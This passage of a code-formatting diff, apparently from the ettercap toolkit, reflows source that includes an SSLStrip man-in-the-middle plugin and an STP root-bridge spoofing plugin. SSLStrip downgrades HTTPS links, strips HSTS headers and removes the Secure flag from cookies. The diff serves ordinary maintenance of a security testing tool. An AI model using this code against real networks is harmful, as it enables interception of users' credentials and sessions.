else if (!memcmp(po->DATA.data, "POST", 4)) { connection->request->method = HTTP_POST; } - char *r = (char*)po->DATA.data; + char *r = (char *)po->DATA.data; - //Skip the first line of request - if ((r = strstr((const char*)po->DATA.data, "\r\n")) == NULL) + // Skip the first line of request + if ((r = strstr((const char *)po->DATA.data, "\r\n")) == NULL) return; // This doesn't seem to look as a HTTP header - r += 2; //Skip \r\n + r += 2; // Skip \r\n char *h = strdup(r); char *body = strdup(r); - BUG_IF(h==NULL); - BUG_IF(body==NULL); + BUG_IF(h == NULL); + BUG_IF(body == NULL); char *end_header = strstr(h, "\r\n\r\n"); - if (!end_header) - { + if (!end_header) { SAFE_FREE(h); SAFE_FREE(body); - return; //Something went really wrong here + return; // Something went really wrong here } *end_header = '\0'; @@ -904,7 +870,7 @@ static void http_handle_request(struct http_connection *connection, struct packe char *saveptr; header = ec_strtok(h, "\r\n", &saveptr); - while(header) { + while (header) { connection->request->headers = curl_slist_append(connection->request->headers, header); header = ec_strtok(NULL, "\r\n", &saveptr); } @@ -921,7 +887,6 @@ static void http_handle_request(struct http_connection *connection, struct packe SAFE_FREE(body); - int proto = PROTO_HTTP; LIST_LOCK; @@ -934,17 +899,16 @@ static void http_handle_request(struct http_connection *connection, struct packe LIST_UNLOCK; - - switch(proto) { - case PROTO_HTTP: - DEBUG_MSG("SSLStrip: Sending HTTP request"); - break; - case PROTO_HTTPS: - DEBUG_MSG("SSLStrip: Sending HTTPs request"); - break; + switch (proto) { + case PROTO_HTTP: + DEBUG_MSG("SSLStrip: Sending HTTP request"); + break; + case PROTO_HTTPS: + DEBUG_MSG("SSLStrip: Sending HTTPs request"); + break; } - http_send(connection,po, proto); + http_send(connection, po, proto); } static void http_send(struct http_connection *connection, struct packet_object *po, int proto) @@ -953,31 +917,29 @@ static void http_send(struct http_connection *connection, struct packet_object * curl_global_init(CURL_GLOBAL_ALL); connection->handle = curl_easy_init(); - if(!connection->handle) { + if (!connection->handle) { DEBUG_MSG("SSLStrip: Not enough memory to allocate CURL handle"); return; } char *url; - //Allow decoders to run for request + // Allow decoders to run for request if (proto == PROTO_HTTPS) { curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYHOST, 0L); - SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("https://")+1); - snprintf(url, strlen(connection->request->url)+strlen("https://")+1, "https://%s", connection->request->url); + SAFE_CALLOC(url, 1, strlen(connection->request->url) + strlen("https://") + 1); + snprintf(url, strlen(connection->request->url) + strlen("https://") + 1, "https://%s", connection->request->url); } else { - SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("http://")+1); - snprintf(url, strlen(connection->request->url)+strlen("http://")+1, "http://%s", connection->request->url); + SAFE_CALLOC(url, 1, strlen(connection->request->url) + strlen("http://") + 1); + snprintf(url, strlen(connection->request->url) + strlen("http://") + 1, "http://%s", connection->request->url); } - - if (url==NULL) { + if (url == NULL) { DEBUG_MSG("Not enough memory to allocate for URL %s\n", connection->request->url); return; - } - + } curl_easy_setopt(connection->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_easy_setopt(connection->handle, CURLOPT_URL, url); @@ -988,23 +950,21 @@ static void http_send(struct http_connection *connection, struct packet_object * curl_easy_setopt(connection->handle, CURLOPT_HTTPHEADER, connection->request->headers); curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "gzip"); curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "deflate"); - curl_easy_setopt(connection->handle, CURLOPT_COOKIEFILE, ""); //Initialize cookie engine + curl_easy_setopt(connection->handle, CURLOPT_COOKIEFILE, ""); // Initialize cookie engine /* Only allow HTTP and HTTPS */ - curl_easy_setopt(connection->handle, CURLOPT_PROTOCOLS, (long) CURLPROTO_HTTP | - (long)CURLPROTO_HTTPS); - curl_easy_setopt(connection->handle, CURLOPT_REDIR_PROTOCOLS, (long) CURLPROTO_HTTP | - (long) CURLPROTO_HTTPS); - + curl_easy_setopt(connection->handle, CURLOPT_PROTOCOLS, (long)CURLPROTO_HTTP | + (long)CURLPROTO_HTTPS); + curl_easy_setopt(connection->handle, CURLOPT_REDIR_PROTOCOLS, (long)CURLPROTO_HTTP | + (long)CURLPROTO_HTTPS); - if(connection->request->method == HTTP_POST) { + if (connection->request->method == HTTP_POST) { curl_easy_setopt(connection->handle, CURLOPT_POST, 1L); curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDS, connection->request->payload); curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDSIZE, strlen(connection->request->payload)); - } - + } - if(curl_easy_perform(connection->handle) != CURLE_OK) { + if (curl_easy_perform(connection->handle) != CURLE_OK) { DEBUG_MSG("Unable to send request to HTTP server: %s\n", connection->curl_err_buffer); return; } else { @@ -1016,14 +976,14 @@ static void http_send(struct http_connection *connection, struct packet_object * http_remove_https(connection); http_remove_secure_from_cookie(connection); - if(strstr(connection->response->html, "\r\nContent-Encoding:") || - strstr(connection->response->html, "\r\nTransfer-Encoding:")) { + if (strstr(connection->response->html, "\r\nContent-Encoding:") || + strstr(connection->response->html, "\r\nTransfer-Encoding:")) + { http_remove_header("Content-Encoding", connection); http_remove_header("Transfer-Encoding", connection); } - - if(strstr(connection->response->html, "\r\nStrict-Transport-Security:")) { + if (strstr(connection->response->html, "\r\nStrict-Transport-Security:")) { http_remove_header("Strict-Transport-Security", connection); } @@ -1031,31 +991,29 @@ static void http_send(struct http_connection *connection, struct packet_object * http_update_content_length(connection); DEBUG_MSG("SSLStrip: after removing all %s", connection->response->html); - //Send result back to client + // Send result back to client DEBUG_MSG("SSLStrip: Sending response back to client"); - if (http_write(connection->fd, connection->response->html, connection->response->len) != E_SUCCESS){ + if (http_write(connection->fd, connection->response->html, connection->response->len) != E_SUCCESS) { DEBUG_MSG("Unable to send HTTP response back to client\n"); } else { DEBUG_MSG("Sent HTTP response back to client"); } - - //Allow decoders to run on HTTP response - http_initialize_po(po, (u_char*)connection->response->html, connection->response->len); + // Allow decoders to run on HTTP response + http_initialize_po(po, (u_char *)connection->response->html, connection->response->len); packet_destroy_object(po); - po->len = po->DATA.len; - po->L4.flags |= TH_PSH; + po->len = po->DATA.len; + po->L4.flags |= TH_PSH; packet_disp_data(po, po->DATA.data, po->DATA.len); DEBUG_MSG("SSLStrip: Calling parser for response"); http_parse_packet(connection, HTTP_SERVER, po); - //Free up request + // Free up request if (connection->request->headers) { curl_slist_free_all(connection->request->headers); connection->request->headers = NULL; } - if (connection->request->method == HTTP_POST) { SAFE_FREE(connection->request->payload); @@ -1065,7 +1023,7 @@ static void http_send(struct http_connection *connection, struct packet_object * SAFE_FREE(url); - if(connection->handle) { + if (connection->handle) { curl_easy_cleanup(connection->handle); curl_global_cleanup(); connection->handle = NULL; @@ -1084,9 +1042,9 @@ static int http_write(int fd, char *ptr, unsigned long int total_len) while (bytes_sent < total_len) { - if(!ptr) + if (!ptr) break; - len = write(fd, ptr+bytes_sent, bytes_remaining); + len = write(fd, ptr + bytes_sent, bytes_remaining); if (len <= 0) { err = GET_SOCK_ERRNO(); @@ -1096,14 +1054,12 @@ static int http_write(int fd, char *ptr, unsigned long int total_len) } DEBUG_MSG("SSLStrip: Sent %d bytes", len); - + bytes_sent += len; bytes_remaining -= len; DEBUG_MSG("SSLStrip: Bytes sent %d", bytes_sent); ec_usleep(MILLI2MICRO(100)); // 100ms - - } return E_SUCCESS; @@ -1114,57 +1070,55 @@ static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *s { struct packet_object *po = (struct packet_object *)stream; - DEBUG_MSG("SSLStrip: PO LEN : %ld Size: %ld", po->DATA.len, (size*nmemb)); + DEBUG_MSG("SSLStrip: PO LEN : %ld Size: %ld", po->DATA.len, (size * nmemb)); DEBUG_MSG("SSLStrip: Copying %s", po->DATA.data); - if ((size*nmemb) < po->DATA.len) { - memcpy(ptr, po->DATA.data, size*nmemb); - return size*nmemb; + if ((size * nmemb) < po->DATA.len) { + memcpy(ptr, po->DATA.data, size * nmemb); + return size * nmemb; } else { memcpy(ptr, po->DATA.data, po->DATA.len); return po->DATA.len; } } -#endif +#endif static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata) { struct http_connection *connection = (struct http_connection *)userdata; - if (connection->response->len == 0) { - //Initiailize buffer - SAFE_CALLOC(connection->response->html, 1, size*nmemb); + // Initiailize buffer + SAFE_CALLOC(connection->response->html, 1, size * nmemb); if (connection->response->html == NULL) return 0; - memcpy(connection->response->html, ptr, size*nmemb); + memcpy(connection->response->html, ptr, size * nmemb); } else { char *b; - SAFE_CALLOC(b, 1, connection->response->len+(size*nmemb)); + SAFE_CALLOC(b, 1, connection->response->len + (size * nmemb)); BUG_IF(b == NULL); - - memcpy(b, connection->response->html, connection->response->len); - memcpy(b+connection->response->len, ptr, size*nmemb); + + memcpy(b, connection->response->html, connection->response->len); + memcpy(b + connection->response->len, ptr, size * nmemb); SAFE_FREE(connection->response->html); connection->response->html = b; - //SAFE_REALLOC(connection->response->html, connection->response->len + (size*nmemb)); + // SAFE_REALLOC(connection->response->html, connection->response->len + (size*nmemb)); } - connection->response->len += (size*nmemb); - //connection->response->html[connection->response->len] = '\0'; - + connection->response->len += (size * nmemb); + // connection->response->html[connection->response->len] = '\0'; - return size*nmemb; + return size * nmemb; } EC_THREAD_FUNC(http_child_thread) { struct packet_object po; - int ret_val; + int ret_val; struct http_connection *connection; connection = (struct http_connection *)args; @@ -1177,11 +1131,10 @@ EC_THREAD_FUNC(http_child_thread) close_socket(connection->fd); SAFE_FREE(connection->response); SAFE_FREE(connection->request); - SAFE_FREE(connection); + SAFE_FREE(connection); ec_thread_exit(); } - /* A fake SYN ACK for profiles */ http_initialize_po(&po, NULL, 0); po.len = 64; @@ -1190,35 +1143,32 @@ EC_THREAD_FUNC(http_child_thread) http_parse_packet(connection, HTTP_SERVER, &po); http_initialize_po(&po, po.DATA.data, po.DATA.len); - LOOP { http_initialize_po(&po, NULL, 0); ret_val = http_read(connection, &po); DEBUG_MSG("SSLStrip: Returned %d", ret_val); BREAK_ON_ERROR(ret_val, connection, po); - if (ret_val == E_SUCCESS) { + if (ret_val == E_SUCCESS) { /* Look in the https_links list and if the url matches, send to HTTPS server. - Otherwise send to HTTP server */ - po.len = po.DATA.len; - po.L4.flags |= TH_PSH; + * Otherwise send to HTTP server */ + po.len = po.DATA.len; + po.L4.flags |= TH_PSH; /* NULL terminate buffer */ po.DATA.data[po.DATA.len] = 0; packet_destroy_object(&po); - packet_disp_data(&po, po.DATA.data, po.DATA.len); + packet_disp_data(&po, po.DATA.data, po.DATA.len); - //DEBUG_MSG("SSLStrip: Calling parser for request"); - http_parse_packet(connection, HTTP_CLIENT, &po); + // DEBUG_MSG("SSLStrip: Calling parser for request"); + http_parse_packet(connection, HTTP_CLIENT, &po); http_handle_request(connection, &po); } - } return NULL; - } static void http_remove_https(struct http_connection *connection) @@ -1236,13 +1186,13 @@ static void http_remove_https(struct http_connection *connection) size_t size = connection->response->len; int url_len, match_start, match_end = 0; - if(!buf_cpy) + if (!buf_cpy) return; SAFE_CALLOC(new_html, 1, connection->response->len); - BUG_IF(new_html==NULL); + BUG_IF(new_html == NULL); - while(offset < size && (rc = pcre_exec(https_url_pcre, NULL, buf_cpy, size, offset, 0, ovector, 30)) > 0) { + while (offset < size && (rc = pcre_exec(https_url_pcre, NULL, buf_cpy, size, offset, 0, ovector, 30)) > 0) { match_start = ovector[0]; match_end = ovector[1]; @@ -1254,8 +1204,7 @@ static void http_remove_https(struct http_connection *connection) url_len = match_end - match_start - https_len; url = strndup(buf_cpy + match_start + https_len, url_len); - if(url == NULL) - { + if (url == NULL) { USER_MSG("SSLStrip: http_remove_https: url is NULL\n"); return; } @@ -1271,25 +1220,25 @@ static void http_remove_https(struct http_connection *connection) /* set new offset for next round */ offset = match_end; - //Add URL to list + // Add URL to list char found = 0; LIST_LOCK; LIST_FOREACH(link, &https_links, next) { - if(!strcmp(link->url, url)) { - found=1; + if (!strcmp(link->url, url)) { + found = 1; break; - } - } + } + } LIST_UNLOCK; - if(!found) { + if (!found) { SAFE_CALLOC(l, 1, sizeof(struct https_link)); - BUG_IF(l==NULL); + BUG_IF(l == NULL); SAFE_CALLOC(l->url, 1, 1 + url_len); - BUG_IF(l->url==NULL); + BUG_IF(l->url == NULL); memcpy(l->url, url, url_len); Decode_Url((u_char *)l->url); l->last_used = time(NULL); @@ -1298,21 +1247,20 @@ static void http_remove_https(struct http_connection *connection) } SAFE_FREE(url); - + if (!changed) - changed=1; + changed = 1; } - if (changed) { - //Copy rest of data (if any) + // Copy rest of data (if any) memcpy(new_html + new_size, buf_cpy + offset, size - offset); new_size += size - offset; /* replace response */ - SAFE_FREE(connection->response->html); + SAFE_FREE(connection->response->html); connection->response->html = new_html; - connection->response->len = new_size; + connection->response->len = new_size; } else { /* Thanks but we don't need it */ SAFE_FREE(new_html); @@ -1325,14 +1273,13 @@ static void http_remove_https(struct http_connection *connection) LIST_LOCK; LIST_FOREACH_SAFE(l, &https_links, next, link_tmp) { - if(now - l->last_used >= REQUEST_TIMEOUT) { + if (now - l->last_used >= REQUEST_TIMEOUT) { LIST_REMOVE(l, next); SAFE_FREE(l); } } - - LIST_UNLOCK; + LIST_UNLOCK; } static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po) @@ -1342,70 +1289,69 @@ static void http_parse_packet(struct http_connection *connection, int direction, memcpy(&po->L3.src, &connection->ip[direction], sizeof(struct ip_addr)); memcpy(&po->L3.dst, &connection->ip[!direction], sizeof(struct ip_addr)); - + po->L4.src = connection->port[direction]; po->L4.dst = connection->port[!direction]; - po->flags |= PO_FROMSSLSTRIP; + po->flags |= PO_FROMSSLSTRIP; /* get time */ gettimeofday(&po->ts, NULL); - switch(ip_addr_is_local(&PACKET->L3.src, NULL)) { - case E_SUCCESS: - PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); - PACKET->PASSIVE.flags |= FP_HOST_LOCAL; - break; - case -E_NOTFOUND: - PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; - PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; - break; - case -E_INVALID: - PACKET->PASSIVE.flags = FP_UNKNOWN; - break; + switch (ip_addr_is_local(&PACKET->L3.src, NULL)) { + case E_SUCCESS: + PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); + PACKET->PASSIVE.flags |= FP_HOST_LOCAL; + break; + case -E_NOTFOUND: + PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; + PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; + break; + case -E_INVALID: + PACKET->PASSIVE.flags = FP_UNKNOWN; + break; } /* let's start fromt he last stage of decoder chain */ - //DEBUG_MSG("SSLStrip: Parsing %s", po->DATA.data); + // DEBUG_MSG("SSLStrip: Parsing %s", po->DATA.data); start_decoder = get_decoder(APP_LAYER, PL_DEFAULT); start_decoder(po->DATA.data, po->DATA.len, &len, po); } static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len) { - /* - * Allocate the data buffer and initialize + /* + * Allocate the data buffer and initialize * fake headers. Headers len is set to 0. * XXX - Be sure to not modify these len. */ - memset(po, 0, sizeof(struct packet_object)); if (p_data == NULL) { SAFE_FREE(po->DATA.data); SAFE_CALLOC(po->DATA.data, 1, HTTP_MAX); po->DATA.len = HTTP_MAX; - BUG_IF(po->DATA.data==NULL); + BUG_IF(po->DATA.data == NULL); } else { SAFE_FREE(po->DATA.data); po->DATA.data = p_data; po->DATA.len = len; } - po->L2.header = po->DATA.data; - po->L3.header = po->DATA.data; + po->L2.header = po->DATA.data; + po->L3.header = po->DATA.data; po->L3.options = po->DATA.data; - po->L4.header = po->DATA.data; + po->L4.header = po->DATA.data; po->L4.options = po->DATA.data; po->fwd_packet = po->DATA.data; - po->packet = po->DATA.data; + po->packet = po->DATA.data; po->L3.proto = htons(LL_TYPE_IP); po->L3.ttl = 64; po->L4.proto = NL_TYPE_TCP; - } + /* main HTTP listen thread, this will accept connections * destined to port 80 */ @@ -1421,7 +1367,7 @@ static int http_bind_wrapper(void) ec_thread_init(); DEBUG_MSG("http_listen_thread: initialized and ready"); - + main_fd = socket(AF_INET, SOCK_STREAM, 0); if (main_fd == -1) { /* oops, unable to create socket */ DEBUG_MSG("Unable to create socket() for HTTP..."); @@ -1433,10 +1379,10 @@ static int http_bind_wrapper(void) do { bind_port++; - sa_in.sin_port = htons(bind_port); + sa_in.sin_port = htons(bind_port); } while (bind(main_fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0); - if(listen(main_fd, 100) == -1) { + if (listen(main_fd, 100) == -1) { DEBUG_MSG("SSLStrip plugin: unable to listen() on socket"); return -E_FATAL; } @@ -1445,8 +1391,8 @@ static int http_bind_wrapper(void) /* create & bind IPv6 socket on the same port */ main_fd6 = socket(AF_INET6, SOCK_STREAM, 0); if (main_fd6 == -1) { /* unable to create socket */ - DEBUG_MSG("SSLStrip: Unable to create socket() for HTTP over IPv6: %s.", - strerror(errno)); + DEBUG_MSG("SSLStrip: Unable to create socket() for HTTP over IPv6: %s.", + strerror(errno)); return -E_FATAL; } memset(&sa_in6, 0, sizeof(sa_in6)); @@ -1455,24 +1401,25 @@ static int http_bind_wrapper(void) sa_in6.sin6_port = htons(bind_port); /* we only listen on v6 as we use dedicated sockets per AF */ - if (setsockopt(main_fd6, IPPROTO_IPV6, IPV6_V6ONLY, - &optval, sizeof(optval)) == -1) { + if (setsockopt(main_fd6, IPPROTO_IPV6, IPV6_V6ONLY, + &optval, sizeof(optval)) == -1) + { DEBUG_MSG("SSLStrip: Unable to set IPv6 socket to IPv6 only: %s.", - strerror(errno)); + strerror(errno)); return -E_FATAL; } /* bind to IPv6 on the same port as the IPv4 socket */ if (bind(main_fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) { - DEBUG_MSG("SSLStrip: Unable to bind() IPv6 socket to port %d: %s.", - bind_port, strerror(errno)); + DEBUG_MSG("SSLStrip: Unable to bind() IPv6 socket to port %d: %s.", + bind_port, strerror(errno)); return -E_FATAL; } /* finally set socket into listen state */ if (listen(main_fd6, 100) == -1) { - DEBUG_MSG("SSLStrip: Unable to listen() on IPv6 socket: %s.", - strerror(errno)); + DEBUG_MSG("SSLStrip: Unable to listen() on IPv6 socket: %s.", + strerror(errno)); return -E_FATAL; } #else @@ -1481,12 +1428,11 @@ static int http_bind_wrapper(void) #endif USER_MSG("SSLStrip plugin: bind 80 on %d\n", bind_port); - + if (http_insert_redirect(bind_port) != E_SUCCESS) return -E_FATAL; return E_SUCCESS; - } static void http_wipe_connection(struct http_connection *connection) @@ -1502,14 +1448,14 @@ static void http_wipe_connection(struct http_connection *connection) SAFE_FREE(connection); } -void http_remove_header(char *header, struct http_connection *connection) { +void http_remove_header(char *header, struct http_connection *connection) +{ DEBUG_MSG("SSLStrip: http_remove_header"); if (strstr(connection->response->html, header)) { char *r = strdup(connection->response->html); size_t len = strlen(connection->response->html); - if(r == NULL) - { + if (r == NULL) { USER_MSG("SSLStrip: http_remove_header: r is NULL\n"); return; } @@ -1523,30 +1469,30 @@ void http_remove_header(char *header, struct http_connection *connection) { int start = b - r; char *remaining = strdup(end); - BUG_IF(remaining==NULL); + BUG_IF(remaining == NULL); - memcpy(r+start, remaining, strlen(remaining)); + memcpy(r + start, remaining, strlen(remaining)); SAFE_FREE(connection->response->html); connection->response->html = strndup(r, len); - if(connection->response->html == NULL) - { + if (connection->response->html == NULL) { USER_MSG("SSLStrip: http_remove_header: connection->response->html is NULL\n"); return; } connection->response->len = len; - + SAFE_FREE(remaining); SAFE_FREE(r); } } -void http_remove_secure_from_cookie(struct http_connection *connection) { +void http_remove_secure_from_cookie(struct http_connection *connection) +{ if (!strstr(connection->response->html, "Set-Cookie")) { return; } - + size_t newlen = 0; size_t pos = 0; char *buf_cpy = connection->response->html; @@ -1557,20 +1503,20 @@ void http_remove_secure_from_cookie(struct http_connection *connection) { regmatch_t match[4]; - while(!regexec(&find_cookie_re, buf_cpy, 4, match, REG_NOTBOL)) { - memcpy(new_html+newlen, buf_cpy, match[1].rm_eo); + while (!regexec(&find_cookie_re, buf_cpy, 4, match, REG_NOTBOL)) { + memcpy(new_html + newlen, buf_cpy, match[1].rm_eo); newlen += match[1].rm_eo; - - memcpy(new_html+newlen, buf_cpy+match[3].rm_so, match[3].rm_eo - match[3].rm_so); + + memcpy(new_html + newlen, buf_cpy + match[3].rm_so, match[3].rm_eo - match[3].rm_so); newlen += match[3].rm_eo - match[3].rm_so; - - buf_cpy += match[0].rm_eo-2; - pos += match[0].rm_eo-2; - changed=1; + + buf_cpy += match[0].rm_eo - 2; + pos += match[0].rm_eo - 2; + changed = 1; } if (changed) { - memcpy(new_html+newlen, buf_cpy, connection->response->len - pos); + memcpy(new_html + newlen, buf_cpy, connection->response->len - pos); newlen += connection->response->len - pos; SAFE_FREE(connection->response->html); @@ -1582,7 +1528,8 @@ void http_remove_secure_from_cookie(struct http_connection *connection) { } } -void http_update_content_length(struct http_connection *connection) { +void http_update_content_length(struct http_connection *connection) +{ if (strstr(connection->response->html, "Content-Length: ")) { char *buf = connection->response->html; char *content_length = strstr(connection->response->html, "Content-Length:"); @@ -1592,7 +1539,7 @@ void http_update_content_length(struct http_connection *connection) { memset(&c_length, '\0', 20); snprintf(c_length, 20, "%lu", connection->response->len - (strstr(buf, "\r\n\r\n") + 4 - buf)); - memcpy(buf+(content_length-buf), c_length, strlen(c_length)); + memcpy(buf + (content_length - buf), c_length, strlen(c_length)); } } diff --git a/plug-ins/stp_mangler/stp_mangler.c b/plug-ins/stp_mangler/stp_mangler.c index e1dea31bd..47fc0f44e 100644 --- a/plug-ins/stp_mangler/stp_mangler.c +++ b/plug-ins/stp_mangler/stp_mangler.c @@ -1,24 +1,23 @@ /* - stp_mangler -- ettercap plugin -- Become root of a switches spanning tree - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * stp_mangler -- ettercap plugin -- Become root of a switches spanning tree + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -29,103 +28,97 @@ #include /* globals */ -struct eth_header -{ - u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ - u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ - u_int16 proto; /* packet type ID field */ +struct eth_header { + u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ + u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ + u_int16 proto; /* packet type ID field */ }; -struct llc_header -{ - u_int8 dsap; - u_int8 ssap; - u_int8 cf; - u_int16 protocolid; - u_int8 version; - u_int8 BPDU_type; - u_int8 BPDU_flags; +struct llc_header { + u_int8 dsap; + u_int8 ssap; + u_int8 cf; + u_int16 protocolid; + u_int8 version; + u_int8 BPDU_type; + u_int8 BPDU_flags; }; -struct stp_header -{ - u_int16 root_priority; - u_int8 root_id[6]; - u_int8 root_path_cost[4]; - u_int16 bridge_priority; - u_int8 bridge_id[6]; - u_int16 port_id; - u_int16 message_age; - u_int16 max_age; - u_int16 hello_time; - u_int16 forward_delay; +struct stp_header { + u_int16 root_priority; + u_int8 root_id[6]; + u_int8 root_path_cost[4]; + u_int16 bridge_priority; + u_int8 bridge_id[6]; + u_int16 port_id; + u_int16 message_age; + u_int16 max_age; + u_int16 hello_time; + u_int16 forward_delay; }; #define FAKE_PCK_LEN 60 struct packet_object fake_po; char fake_pck[FAKE_PCK_LEN]; - /* protos */ int plugin_load(void *); static int stp_mangler_init(void *); static int stp_mangler_fini(void *); EC_THREAD_FUNC(mangler); - /* plugin operations */ -struct plugin_ops stp_mangler_ops = { +struct plugin_ops stp_mangler_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "stp_mangler", - /* a short description of the plugin (max 50 chars) */ - .info = "Become root of a switches spanning tree", - /* the plugin version. */ - .version = "1.0", + .name = "stp_mangler", + /* a short description of the plugin (max 50 chars) */ + .info = "Become root of a switches spanning tree", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &stp_mangler_init, - /* deactivation function */ - .fini = &stp_mangler_fini, + .init = &stp_mangler_init, + /* deactivation function */ + .fini = &stp_mangler_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &stp_mangler_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int stp_mangler_init(void *dummy) -{ +static int stp_mangler_init(void *dummy) +{ /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("stp_mangler: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } - + INSTANT_USER_MSG("stp_mangler: Start sending fake STP packets...\n"); /* create the flooding thread */ ec_thread_new("mangler", "STP mangler thread", &mangler, NULL); - + return PLUGIN_RUNNING; } - -static int stp_mangler_fini(void *dummy) +static int stp_mangler_fini(void *dummy) { pthread_t pid; /* variable not used */ - (void) dummy; + (void)dummy; pid = ec_thread_getpid("mangler"); @@ -138,22 +131,21 @@ static int stp_mangler_fini(void *dummy) return PLUGIN_FINISHED; } - EC_THREAD_FUNC(mangler) { struct eth_header *heth; struct llc_header *hllc; struct stp_header *hstp; - u_char MultiMAC[6]={0x01,0x80,0xc2,0x00,0x00,0x00}; + u_char MultiMAC[6] = { 0x01, 0x80, 0xc2, 0x00, 0x00, 0x00 }; /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; + + /* Avoid crappy compiler alignment :( */ + heth = (struct eth_header *)fake_pck; + hllc = (struct llc_header *)(fake_pck + 14); + hstp = (struct stp_header *)(fake_pck + 22); - /* Avoid crappy compiler alignment :( */ - heth = (struct eth_header *)fake_pck; - hllc = (struct llc_header *)(fake_pck + 14); - hstp = (struct stp_header *)(fake_pck + 22); - /* Create a fake STP packet */ heth->proto = htons(0x0026); memcpy(heth->dha, MultiMAC, ETH_ADDR_LEN); @@ -161,8 +153,8 @@ EC_THREAD_FUNC(mangler) hllc->dsap = 0x42; hllc->ssap = 0x42; - hllc->cf = 0x03; - + hllc->cf = 0x03; + hstp->root_priority = 0; memcpy(hstp->root_id, GBL_IFACE->mac, ETH_ADDR_LEN); hstp->bridge_priority = 0; @@ -172,23 +164,22 @@ EC_THREAD_FUNC(mangler) hstp->hello_time = htons_inv(2); hstp->forward_delay = htons_inv(15); - packet_create_object(&fake_po, (u_char*)fake_pck, FAKE_PCK_LEN); + packet_create_object(&fake_po, (u_char *)fake_pck, FAKE_PCK_LEN); /* init the thread and wait for start up */ ec_thread_init(); - + LOOP { CANCELLATION_POINT(); /* Send on the wire and wait */ - send_to_L2(&fake_po); + send_to_L2(&fake_po); ec_usleep(SEC2MICRO(1)); } - - return NULL; + + return NULL; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_TN3270.c b/src/dissectors/ec_TN3270.c index dfc1ba939..2ce96bc59 100644 --- a/src/dissectors/ec_TN3270.c +++ b/src/dissectors/ec_TN3270.c @@ -1,29 +1,29 @@ /* - ettercap -- dissector for Mainframe TN3270 z/OS TSO logon protocol - - Copyright (C) Dhiru Kholia (dhiru at openwall.com) - - Based on MFSniffer (https://github.com/mainframed/MFSniffer) - - Created by: Soldier of Fortran (@mainframed767) - - (tested against x3270 and TN3270 X and TN3270 Plus) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -*/ + * ettercap -- dissector for Mainframe TN3270 z/OS TSO logon protocol + * + * Copyright (C) Dhiru Kholia (dhiru at openwall.com) + * + * Based on MFSniffer (https://github.com/mainframed/MFSniffer) + * + * Created by: Soldier of Fortran (@mainframed767) + * + * (tested against x3270 and TN3270 X and TN3270 Plus) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free 